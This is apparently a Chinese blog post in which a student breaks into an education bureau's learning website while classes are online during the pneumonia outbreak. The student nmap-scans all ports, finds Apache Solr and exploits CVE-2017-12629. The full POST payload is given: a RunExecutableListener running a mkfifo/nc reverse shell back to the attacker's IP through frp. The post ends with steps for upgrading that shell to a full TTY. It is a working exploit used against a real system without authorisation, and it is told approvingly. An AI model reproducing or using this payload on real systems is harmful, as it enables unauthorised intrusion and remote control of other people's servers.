最近闹肺炎,然后咱们老师给我们甩了个教育局的学习网站。
我怎么会好好听课呢...盘他!
先nmap扫描一波全端口
注意要加-p 1-65535 nmap才会扫描所有端口哦。
果然,21000端口有点东西
打开康康
中奖了。solr是Apache Lucene项目的开源企业搜索平台,爆出过不少漏洞。直觉告诉我这是一个突破点!
经过搜索,我选定了CVE-2017-12629,这是一个XXE漏洞,对7.1之前的solr有效,可直接Getshell
首先看看这儿部署了些什么
(红框框住的是部署的项目)
emmm,看disk那么亮眼,就选你了
先做一下准备工作,先开启内网穿透(这里用了frp)
然后执行 nc -l -p 监听端口 -vv
进行监听监听
首先访问 XXX.com:21000/solr/disk/config页面
设置burp代理,抓包!
魔改
POST数据如下:
{
"create-listener": {
"event":"postCommit",
"name": "shell",
"class":"solr.RunExecutableListener",
"exe": "sh",
"dir": "/bin/",
"args": ["-c","rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 我的ip 监听端口 > /tmp/f"]
}
}
然后访问XXX.com:21000/solr/disk/update
更新配置
再次访问XXX.com:21000/solr/disk/config
,就添加了shell这个listener,post数据中的args就是我们执行的命令,这里是反弹shell
稍等片刻,shell就弹回来了
不过这是个哑shell,不支持命令补全和代码高亮
先在哑shell中执行
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z退出,在终端中执行
stty raw -echo
绕后输入fg回到shell
分别执行
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104
我们就得到了一个功能齐全的shell,代码高亮、命令补全,连终端里烦人的哔哔声都有了
可惜shell权限很小,连执行exp的权限都没有。果然还是我太菜啦,就先这样了。